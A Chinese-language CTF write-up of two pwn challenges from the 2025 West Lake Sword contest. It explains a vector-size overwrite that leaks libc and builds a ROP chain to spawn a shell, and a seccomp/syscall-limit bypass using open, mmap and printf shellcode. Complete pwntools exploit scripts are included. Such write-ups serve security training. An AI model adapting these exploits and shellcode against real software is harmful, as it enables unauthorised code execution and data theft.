西湖论剑 2025 Pwn

复现网址西湖论剑2025

Vpwn

保护全开

main 函数,有 edit、push、pop 和 print 操作,操作对象是 v8,v8 实际上是 c++中的 vector,其类型是 char 类型

在 edit 函数可以看到有 idx 的检查,而在*(v8+24)处正是 vector 的 size,由于 vector 的大小是 char,则 vector 的每个元素占 4 字节,因此 vector 总共存储了 24 / 4 = 6 个元素,第 7 个位置就是 size。

在 push 函数中没有任何检查,因此当我们在 push 第 7 个元素时就会修改 size

交互函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def edit(idx, content):
p.recvuntil("Enter your choice: ")
p.sendline(str(1))
p.recvuntil("Enter the index to edit (0-based): ")
p.sendline(str(idx))
p.recvuntil("Enter the new value: ")
p.sendline(content)

def push(content):
p.recvuntil("Enter your choice: ")
p.sendline(str(2))
p.recvuntil("Enter the value to push: ")
p.sendline(str(content))

def pop():
p.recvuntil("Enter your choice: ")
p.sendline(str(3))

def print():
p.recvuntil("Enter your choice: ")
p.sendline(str(4))

现在我们修改 size

1
2
3
4
5
6
7
def debug():
attach(p, 'b *$rebase(0x1455)')
pause()

debug()
for i in range(7):
push(50)

在 rbp-0x28 的位置,前 6 次 push 是 1~6,第 7 次 push 时变成了 0x32 即 50,这样我们就将 size 修改成了 50

此时我们进行 print 操作,就会将栈上的值打印出来,由于这里的输入是以四字节为单位,所以分成了高地址和地址

泄露出 libc 地址

1
2
3
4
5
6
7
8
9
debug()
print()
p.recvuntil(b'StackVector contents: ')
for i in range(18):
p.recvuntil(' ')
low = int(p.recvuntil(b' '))
high = int(p.recvuntil(b' '))
success('low:{}\nlow:{}'.format(hex(low), low))
success('high:{}\nhigh:{}'.format(hex(high), high))

最后布置 rop,这里需要先写低地址再写高地址,而且是从 18 的位置开始写入 gadget,18 的位置是返回地址

1
2
3
4
5
6
7
8
9
debug()
edit(18, str(ret & 0xffffffff))
edit(19, str((ret >> 32) & 0xffffffff))
edit(20, str(pop_rdi & 0xffffffff))
edit(21, str((pop_rdi >> 32) & 0xffffffff))
edit(22, str(binsh & 0xffffffff))
edit(23, str((binsh >> 32) & 0xffffffff))
edit(24, str(system & 0xffffffff))
edit(25, str((system >> 32) & 0xffffffff))

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn')
# p = remote('gz.imxbt.cn', 20549)
libc = ELF('./libc.so.6')

def debug():
attach(p, 'b *$rebase(0x1455)')
pause()

def edit(idx, content):
p.recvuntil("Enter your choice: ")
p.sendline(str(1))
p.recvuntil("Enter the index to edit (0-based): ")
p.sendline(str(idx))
p.recvuntil("Enter the new value: ")
p.sendline(content)

def push(content):
p.recvuntil("Enter your choice: ")
p.sendline(str(2))
p.recvuntil("Enter the value to push: ")
p.sendline(str(content))

def pop():
p.recvuntil("Enter your choice: ")
p.sendline(str(3))

def print():
p.recvuntil("Enter your choice: ")
p.sendline(str(4))

# debug()
for i in range(7):
push(50)

# debug()
print()
p.recvuntil(b'StackVector contents: ')
for i in range(18):
p.recvuntil(' ')
low = int(p.recvuntil(b' '))
high = int(p.recvuntil(b' '))
success('low:{}\nlow:{}'.format(hex(low), low))
success('high:{}\nhigh:{}'.format(hex(high), high))
libc_base = (high << 32) + low - 0x29d90
success('libc_base:{}'.format(hex(libc_base)))

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
pop_rdi = libc_base + 0x2a3e5
ret = libc_base + 0x29139

# debug()
edit(18, str(ret & 0xffffffff))
edit(19, str((ret >> 32) & 0xffffffff))
edit(20, str(pop_rdi & 0xffffffff))
edit(21, str((pop_rdi >> 32) & 0xffffffff))
edit(22, str(binsh & 0xffffffff))
edit(23, str((binsh >> 32) & 0xffffffff))
edit(24, str(system & 0xffffffff))
edit(25, str((system >> 32) & 0xffffffff))

p.recvuntil("Enter your choice: ")
p.sendline(str(5))

p.interactive()

Heaven’s door

main 函数调用 mmap 函数,然后读入,可以写 shellcode,后面有一个 sanbox 函数,if 判断count_syscall_instructions 函数的值是否大于 2

count_syscall_instructions 函数,用一个循环来计算 \x0F 和 \x05 的次数,而这两个实际上是 syscall 的机器码,这个函数的目的就是限制 syscall 的使用次数,我们最多只能使用两次 syscall

查看一下沙箱,这是一个白名单,有 open、write 这些函数,但是没有 read 函数

一般上开启了沙箱之后可以使用 open、read 和 write 函数获取 flag,但是沙箱白名单中并没有 read 函数,而且 syscall 只能使用两次。

对于缺失 read 函数,可以使用 mmap 函数将文件映射到内存中

1
2
3
#include <sys/mman.h>

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

参数详解

  1. void *addr:

    • 指定映射区域的起始地址。通常设置为 NULL,表示由系统自动选择合适的地址。
  2. size_t length:

    • 映射区域的长度,以字节为单位。通常设置为文件的大小。
  3. int prot:

    • 指定映射区域的保护模式,可以是以下值的组合:

      • PROT_READ: 映射区域可读。

      • PROT_WRITE: 映射区域可写。

      • PROT_EXEC: 映射区域可执行。

      • PROT_NONE: 映射区域不可访问。

  4. int flags:

    • 控制映射区域的特性,可以是以下值的组合:

      • MAP_SHARED: 映射区域与其他进程共享,对映射区域的修改会写回文件。

      • MAP_PRIVATE: 映射区域是私有的,对映射区域的修改不会写回文件。

      • MAP_ANONYMOUS: 创建一个匿名映射,不与任何文件关联。

      • MAP_FIXED: 强制使用指定的 addr 作为映射区域的起始地址。

  5. int fd:

    • 文件描述符,表示要映射的文件。如果是匿名映射(MAP_ANONYMOUS),则设置为 -1
  6. off_t offset:

    • 文件中的偏移量,表示从文件的哪个位置开始映射。通常设置为 0,表示从文件开头开始映射。

返回值

  • 成功时,返回映射区域的起始地址。
  • 失败时,返回 MAP_FAILED(通常是 (void *) -1),并设置 errno 以指示错误。

对于 syscall 限制,可以在使用 open 和 mmap 之后使用程序内的 printf 函数来打印 flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process("./pwn")
# p = remote('gz.imxbt.cn', 20588)

def debug():
attach(p, 'b *0x401709')
pause()

#debug()
p.recvuntil('MADE IN HEAVEN !!!!!!!!!!!!!!!!')
shellcode = asm('''
mov rbx, 0x67616c66
push rbx
mov rdi, rsp
xor rsi, rsi
mov rax, 2
syscall

mov rdi, 0x20000
mov rsi, 0x1000
mov rdx, 1
mov r10, 1
mov r8, rax
mov r9, 0
mov rax, 9
syscall

mov rdi,rax
mov rdx,0x401150
call rdx

''')
p.sendline(shellcode)

p.interactive()

最后,虽然给的是沙箱白名单,而且白名单里面没有 execve 函数,但是居然可以用 execve 来一把梭,这非预期太离谱了。

参考

2025第八届西湖论剑网络安全技能大赛WriteUp—Pwn篇

2025 西湖论剑 | iyheart 的博客


西湖论剑 2025 Pwn
https://tsuk1ctf.github.io/post/2d0c7fa8.html
作者
Tsuk1
发布于
2025年2月21日
许可协议